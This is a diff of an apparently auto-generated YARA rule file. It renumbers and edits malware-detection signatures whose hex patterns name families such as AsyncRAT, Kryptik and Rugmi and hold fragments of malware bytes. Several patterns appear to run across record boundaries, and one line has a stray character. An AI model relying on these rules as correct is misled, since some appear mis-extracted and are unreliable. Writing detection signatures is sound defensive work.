"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -45980,7 +47885,7 @@ rule _InfrastructureShared_4447{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4448{ +rule _InfrastructureShared_4633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -45991,7 +47896,7 @@ rule _InfrastructureShared_4448{ ((#a_54_0 & 1)*18467+(#a_6c_2 & 1)*28492) >=1 } -rule _InfrastructureShared_4449{ +rule _InfrastructureShared_4634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -46003,7 +47908,7 @@ rule _InfrastructureShared_4449{ ((#a_6c_0 & 1)*19491+(#a_65_1 & 1)*29806+(#a_6a_3 & 1)*7936) >=1 } -rule _InfrastructureShared_4450{ +rule _InfrastructureShared_4635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46013,7 +47918,7 @@ rule _InfrastructureShared_4450{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4451{ +rule _InfrastructureShared_4636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46023,7 +47928,7 @@ rule _InfrastructureShared_4451{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4452{ +rule _InfrastructureShared_4637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46033,7 +47938,7 @@ rule _InfrastructureShared_4452{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4453{ +rule _InfrastructureShared_4638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46043,7 +47948,7 @@ rule _InfrastructureShared_4453{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4454{ +rule _InfrastructureShared_4639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46054,7 +47959,7 @@ rule _InfrastructureShared_4454{ ((#a_6b_0 & 1)*16675+(#a_64_1 & 1)*19772) >=2 } -rule _InfrastructureShared_4455{ +rule _InfrastructureShared_4640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46064,7 +47969,7 @@ rule _InfrastructureShared_4455{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4456{ +rule _InfrastructureShared_4641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46074,7 +47979,7 @@ rule _InfrastructureShared_4456{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4457{ +rule _InfrastructureShared_4642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46084,7 +47989,7 @@ rule _InfrastructureShared_4457{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4458{ +rule _InfrastructureShared_4643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -46095,7 +48000,7 @@ rule _InfrastructureShared_4458{ ((#a_5f_0 & 1)*25635+(#a_31_1 & 1)*12855) >=2 } -rule _InfrastructureShared_4459{ +rule _InfrastructureShared_4644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -46106,7 +48011,7 @@ rule _InfrastructureShared_4459{ ((#a_54_0 & 1)*18467+(#a_66_2 & 1)*28492) >=2 } -rule _InfrastructureShared_4460{ +rule _InfrastructureShared_4645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -46117,7 +48022,7 @@ rule _InfrastructureShared_4460{ ((#a_77_0 & 1)*19491+(#a_68_1 & 1)*26994) >=2 } -rule _InfrastructureShared_4461{ +rule _InfrastructureShared_4646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -46128,7 +48033,7 @@ rule _InfrastructureShared_4461{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*3) >=2 } -rule _InfrastructureShared_4462{ +rule _InfrastructureShared_4647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -46138,7 +48043,7 @@ rule _InfrastructureShared_4462{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_4463{ +rule _InfrastructureShared_4648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -46149,7 +48054,7 @@ rule _InfrastructureShared_4463{ ((#a_41_0 & 1)*20515+(#a_54_1 & 1)*8448) >=3 } -rule _InfrastructureShared_4464{ +rule _InfrastructureShared_4649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -46160,7 +48065,7 @@ rule _InfrastructureShared_4464{ ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*11897) >=3 } -rule _InfrastructureShared_4465{ +rule _InfrastructureShared_4650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -46171,7 +48076,7 @@ rule _InfrastructureShared_4465{ ((#a_54_0 & 1)*18467+(#a_66_2 & 1)*28492) >=3 } -rule _InfrastructureShared_4466{ +rule _InfrastructureShared_4651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -46183,19 +48088,19 @@ rule _InfrastructureShared_4466{ ((#a_77_0 & 1)*19491+(#a_2d_1 & 1)*28265+(#a_17_2 & 1)*4352) >=3 } -rule _InfrastructureShared_4467{ +rule _InfrastructureShared_4652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_54_0 = {3a 4f 67 69 6d 61 6e 74 2e 41 32 2e 31 00 01 00 0b 01 74 69 6e 79 2d 64 6c 2f 6e 69 78 01 00 09 01 70 72 6f 66 69 74 72 61 66 01 00 09 01 64 77 6e 6c 5f 74 6d 70 5f 01 00 0f 01 64 6f 77 6e 6c 6f 61 64 65 72 5f 74 6d 70 5f 00 00 78 58 00 00 04 00 04 } //18467 $a_3a_2 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 47 43 21 4d 54 42 00 04 00 26 01 11 04 11 06 11 04 11 06 91 20 c9 07 00 00 59 d2 9c 00 11 06 17 58 13 06 11 06 11 04 8e 69 fe 04 13 07 11 } //19521 - $a_00_3 = {00 78 58 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 52 75 67 6d 69 2e 50 41 47 41 21 4d 54 42 00 02 00 13 01 c7 c2 8f 9a 00 00 41 b8 00 10 00 00 44 8d 49 40 48 ff 15 02 00 09 01 45 30 34 0c 45 02 34 0c e2 00 00 78 58 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 42 61 6e 6c 6f 61 64 2e 59 56 31 00 02 00 1c 01 89 45 dc c7 45 e4 01 00 00 00 8b 45 f8 8b 55 e4 0f b6 44 10 ff 03 c7 b9 ff 00 00 00 02 00 19 01 eb 05 be 01 00 00 00 8b 45 e8 0f b6 44 30 ff 33 c3 89 45 e0 3b 7d e0 7c 0f 00 00 78 58 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4b 72 61 64 64 61 72 65 00 01 } //11527 + $a_00_3 = {00 78 58 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 52 75 67 6d 69 2e 50 41 47 41 21 4d 54 42 00 02 00 13 01 c7 c2 8f 9a 00 00 41 b8 00 10 00 00 44 8d 49 40 48 ff 15 02 00 09 01 45 30 34 0c 45 02 34 0c e2 00 00 78 58 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 42 61 6e 6c 6f 61 64 2e 59 56 31 00 02 00 1c 01 89 45 dc c7 45 e4 01 00 00 00 8b 45 f8 8b 55 e4 0f b6 44 10 ff 03 c7 b9 ff 00 00 00 02 00 19 01 eb 05 be 01 00 00 00 8b 45 e8 0f b6 44 30 ff 33 c3 89 45 e0 3b 7d e0 7c 0f 00 00 78 58 00 00 04 00 04 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4c 69 6e 6b 75 6c 61 72 00 02 } //11527 condition: ((#a_54_0 & 1)*18467+(#a_3a_2 & 1)*19521+(#a_00_3 & 1)*11527) >=3 } -rule _InfrastructureShared_4468{ +rule _InfrastructureShared_4653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -46205,7 +48110,7 @@ rule _InfrastructureShared_4468{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_4469{ +rule _InfrastructureShared_4654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -46215,7 +48120,7 @@ rule _InfrastructureShared_4469{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_4470{ +rule _InfrastructureShared_4655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -46225,30 +48130,30 @@ rule _InfrastructureShared_4470{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_4471{ +rule _InfrastructureShared_4656{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 4c 69 6e 6b 75 6c 61 72 00 02 00 0f 80 01 77 77 77 2e 70 70 64 69 73 74 72 6f 2e 75 73 01 00 0c 80 01 70 72 6f 66 69 6c 65 73 2e 69 6e 69 01 00 11 80 01 6f 66 66 65 72 5f 73 63 72 65 65 6e 5f 74 79 70 65 00 00 78 58 00 00 04 00 04 00 04 } //20515 + $a_50_1 = {41 3a 42 6c 6f 63 6b 3a 4b 72 61 64 64 61 72 65 00 01 00 0e 80 01 77 77 77 2e 62 73 61 6c 73 61 2e 63 6f } //8448 + condition: + ((#a_41_0 & 1)*20515+(#a_50_1 & 1)*8448) >=4 + +} +rule _InfrastructureShared_4657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 4b 72 61 64 64 61 72 65 00 01 00 0e 80 01 77 77 77 2e 62 73 61 6c 73 61 2e 63 6f 6d 01 00 0b 80 01 76 65 6c 6c 79 2e 63 6f 2e 6b 72 01 00 07 80 01 74 6f 6f 6c 62 61 72 01 00 07 80 01 74 61 73 6b 62 61 72 00 00 78 58 00 00 05 00 05 00 01 } //20515 - $a_41_1 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 45 41 21 4d 54 42 00 05 00 2a 01 02 } //8448 - $a_0d_2 = {00 00 01 0a 02 8e 69 17 59 0b 16 0c 38 0e 00 00 00 06 08 02 07 91 9c 07 17 59 0b 08 17 58 0c 08 06 8e 69 32 ec 00 00 78 58 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 73 69 6c 69 61 2e 45 41 21 4d 54 42 00 05 00 2a 01 00 72 57 02 00 70 0a 73 34 00 00 0a 0b 73 29 00 00 0a 25 72 e9 00 00 70 6f 2a 00 00 0a 00 25 72 08 05 00 70 06 72 1e 05 00 70 00 00 78 58 00 00 05 00 05 00 01 00 } //27022 - $a_53_3 = {52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 41 41 52 21 65 6d 6c 00 05 00 28 80 01 50 6f 72 6e 20 48 75 62 20 43 68 65 63 6b 65 72 20 56 31 2e 30 20 42 79 20 54 65 61 6d 20 4f 74 69 6d 75 73 2e } //8993 + $a_41_1 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 73 69 6c 69 61 2e 45 41 21 4d 54 42 00 05 00 2a 01 00 } //8448 + $a_00_2 = {70 0a } //22386 ੰ condition: - ((#a_41_0 & 1)*20515+(#a_41_1 & 1)*8448+(#a_0d_2 & 1)*27022+(#a_53_3 & 1)*8993) >=4 + ((#a_41_0 & 1)*20515+(#a_41_1 & 1)*8448+(#a_00_2 & 1)*22386) >=4 } -rule _InfrastructureShared_4472{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 45 41 21 4d 54 42 00 05 00 2a 01 02 8e 69 8d 0d 00 00 01 0a 02 8e 69 17 59 0b 16 0c 38 0e 00 00 00 06 08 02 07 91 9c 07 17 59 0b 08 17 58 0c 08 06 8e 69 32 ec 00 00 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_4473{ +rule _InfrastructureShared_4658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -46258,7 +48163,7 @@ rule _InfrastructureShared_4473{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_4474{ +rule _InfrastructureShared_4659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -46268,27 +48173,7 @@ rule _InfrastructureShared_4474{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_4475{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 50 47 4b 21 4d 54 42 00 05 00 2a 03 72 33 00 00 70 72 35 00 00 70 17 8d 90 01 01 00 00 01 25 16 1f 25 9d 28 90 01 01 00 00 0a 7e 90 01 01 00 00 04 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=5 - -} -rule _InfrastructureShared_4476{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 50 47 5a 21 4d 54 42 00 05 00 2c 01 33 c0 33 db 66 89 9d c0 fb ff ff 8b ca 8d bd c2 fb ff ff f3 ab 66 ab 33 c0 66 89 9d c8 fd ff ff 8b ca 8d bd ca fd ff } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=5 - -} -rule _InfrastructureShared_4477{ +rule _InfrastructureShared_4660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -46298,7 +48183,7 @@ rule _InfrastructureShared_4477{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_4478{ +rule _InfrastructureShared_4661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -46311,7 +48196,7 @@ rule _InfrastructureShared_4478{ ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*27713+(#a_24_3 & 1)*-14589+(#a_85_4 & 1)*21585) >=7 } -rule _InfrastructureShared_4479{ +rule _InfrastructureShared_4662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -46322,7 +48207,7 @@ rule _InfrastructureShared_4479{ ((#a_6c_0 & 1)*16675+(#a_04_1 & 1)*797) >=10 } -rule _InfrastructureShared_4480{ +rule _InfrastructureShared_4663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -46332,7 +48217,7 @@ rule _InfrastructureShared_4480{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_4481{ +rule _InfrastructureShared_4664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -46342,7 +48227,7 @@ rule _InfrastructureShared_4481{ ((#a_46_0 & 1)*16675) >=20 } -rule _InfrastructureShared_4482{ +rule _InfrastructureShared_4665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -46354,7 +48239,7 @@ rule _InfrastructureShared_4482{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100+(#a_54_3 & 1)*21061) >=40 } -rule _InfrastructureShared_4483{ +rule _InfrastructureShared_4666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -46364,7 +48249,7 @@ rule _InfrastructureShared_4483{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4484{ +rule _InfrastructureShared_4667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -46374,7 +48259,7 @@ rule _InfrastructureShared_4484{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4485{ +rule _InfrastructureShared_4668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -46384,7 +48269,7 @@ rule _InfrastructureShared_4485{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4486{ +rule _InfrastructureShared_4669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46394,7 +48279,7 @@ rule _InfrastructureShared_4486{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4487{ +rule _InfrastructureShared_4670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46404,7 +48289,7 @@ rule _InfrastructureShared_4487{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4488{ +rule _InfrastructureShared_4671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46414,7 +48299,7 @@ rule _InfrastructureShared_4488{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4489{ +rule _InfrastructureShared_4672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46424,7 +48309,7 @@ rule _InfrastructureShared_4489{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4490{ +rule _InfrastructureShared_4673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46434,7 +48319,7 @@ rule _InfrastructureShared_4490{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4491{ +rule _InfrastructureShared_4674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46444,7 +48329,7 @@ rule _InfrastructureShared_4491{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4492{ +rule _InfrastructureShared_4675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46454,7 +48339,7 @@ rule _InfrastructureShared_4492{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4493{ +rule _InfrastructureShared_4676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46464,7 +48349,7 @@ rule _InfrastructureShared_4493{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4494{ +rule _InfrastructureShared_4677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46474,7 +48359,7 @@ rule _InfrastructureShared_4494{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4495{ +rule _InfrastructureShared_4678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46484,7 +48369,7 @@ rule _InfrastructureShared_4495{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4496{ +rule _InfrastructureShared_4679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46494,7 +48379,7 @@ rule _InfrastructureShared_4496{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4497{ +rule _InfrastructureShared_4680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46504,7 +48389,7 @@ rule _InfrastructureShared_4497{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4498{ +rule _InfrastructureShared_4681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46514,7 +48399,7 @@ rule _InfrastructureShared_4498{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4499{ +rule _InfrastructureShared_4682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46524,7 +48409,7 @@ rule _InfrastructureShared_4499{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4500{ +rule _InfrastructureShared_4683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46534,7 +48419,7 @@ rule _InfrastructureShared_4500{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4501{ +rule _InfrastructureShared_4684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46544,7 +48429,7 @@ rule _InfrastructureShared_4501{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4502{ +rule _InfrastructureShared_4685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46554,7 +48439,7 @@ rule _InfrastructureShared_4502{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4503{ +rule _InfrastructureShared_4686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46564,7 +48449,7 @@ rule _InfrastructureShared_4503{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4504{ +rule _InfrastructureShared_4687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46574,7 +48459,7 @@ rule _InfrastructureShared_4504{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4505{ +rule _InfrastructureShared_4688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46584,7 +48469,7 @@ rule _InfrastructureShared_4505{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4506{ +rule _InfrastructureShared_4689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46594,7 +48479,7 @@ rule _InfrastructureShared_4506{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4507{ +rule _InfrastructureShared_4690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46604,7 +48489,7 @@ rule _InfrastructureShared_4507{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4508{ +rule _InfrastructureShared_4691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46614,7 +48499,7 @@ rule _InfrastructureShared_4508{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4509{ +rule _InfrastructureShared_4692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46624,7 +48509,7 @@ rule _InfrastructureShared_4509{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4510{ +rule _InfrastructureShared_4693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46634,7 +48519,7 @@ rule _InfrastructureShared_4510{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4511{ +rule _InfrastructureShared_4694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46644,7 +48529,7 @@ rule _InfrastructureShared_4511{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4512{ +rule _InfrastructureShared_4695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46654,7 +48539,7 @@ rule _InfrastructureShared_4512{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4513{ +rule _InfrastructureShared_4696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46664,7 +48549,7 @@ rule _InfrastructureShared_4513{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4514{ +rule _InfrastructureShared_4697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46674,7 +48559,7 @@ rule _InfrastructureShared_4514{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4515{ +rule _InfrastructureShared_4698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46684,7 +48569,7 @@ rule _InfrastructureShared_4515{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4516{ +rule _InfrastructureShared_4699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46694,7 +48579,7 @@ rule _InfrastructureShared_4516{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4517{ +rule _InfrastructureShared_4700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46704,7 +48589,7 @@ rule _InfrastructureShared_4517{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4518{ +rule _InfrastructureShared_4701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46714,7 +48599,7 @@ rule _InfrastructureShared_4518{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4519{ +rule _InfrastructureShared_4702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46724,7 +48609,7 @@ rule _InfrastructureShared_4519{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4520{ +rule _InfrastructureShared_4703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46734,7 +48619,7 @@ rule _InfrastructureShared_4520{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4521{ +rule _InfrastructureShared_4704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46744,7 +48629,17 @@ rule _InfrastructureShared_4521{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4522{ +rule _InfrastructureShared_4705{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 4d 7a 43 68 65 63 6b 2e 41 00 01 00 2c 42 6a 57 58 85 f6 74 90 01 01 85 c9 74 90 01 01 83 fa 40 76 90 01 01 89 0e 33 c0 be 4d 5a 00 00 ba be 00 00 00 66 39 31 0f 45 c2 90 00 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_4706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46754,7 +48649,7 @@ rule _InfrastructureShared_4522{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4523{ +rule _InfrastructureShared_4707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -46764,7 +48659,17 @@ rule _InfrastructureShared_4523{ ((#a_46_0 & 1)*21283) 